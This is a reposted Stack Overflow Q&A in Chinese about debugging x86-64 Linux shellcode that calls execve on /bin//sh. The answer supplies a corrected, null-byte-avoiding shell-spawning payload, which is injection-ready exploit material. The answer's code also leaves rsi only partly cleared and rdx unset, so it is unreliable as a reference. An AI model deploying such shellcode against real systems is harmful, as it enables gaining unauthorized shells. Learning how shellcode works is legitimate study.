gpt4 book ai didi

linux - 我的 shellcode 有什么问题?

转载 作者:太空宇宙 更新时间:2023-11-04 12:29:43 24 4
gpt4 key购买 nike

很抱歉,这个问题肯定已经被问过并解释过上千次了,但我不明白为什么这段代码会给我一个段错误。用 nasm 为 elf 64 编译,喜欢用 ld。

BITS 64          ;
xor rax, rax ;
mov rax, 0x3b ; LinuxX64 exevce
push 0x68732f2f ;
push 0x6e690b2f ;
pop rbx ; Argv[0] /bin//sh
xor rcx, rcx ;
push rcx ;
push rbx ;
pop rcx ; Argv[1] /bin//sh0
xor rsi, rsi ; just need any GP register
push rsi ;
pop rdx ; Argv[2] 0
syscall ;

最佳答案

实际上有很多地方是错误的,首先在 64 位中,参数作为 rdi、rsi、rdx、rcx 传递,如果我们必须使用堆栈。

BITS 64                       ;
xor rax, rax ;
mov al, 0x3b ; EXECVE -> al other wise we get null bytes
xor rcx, rcx ;
push rcx ; PUSH A NULL BYTE
mov rdi, 0x68732f2f6e69622f ; /*
push rdi ; use the stack to fill rdi '"/bin//sh"0'
mov rdi, rsp ; */
xor sil, sil ; Argv[2] -> sil otherwise we ge null bytes
syscall ;

关于linux - 我的 shellcode 有什么问题?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/43608837/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com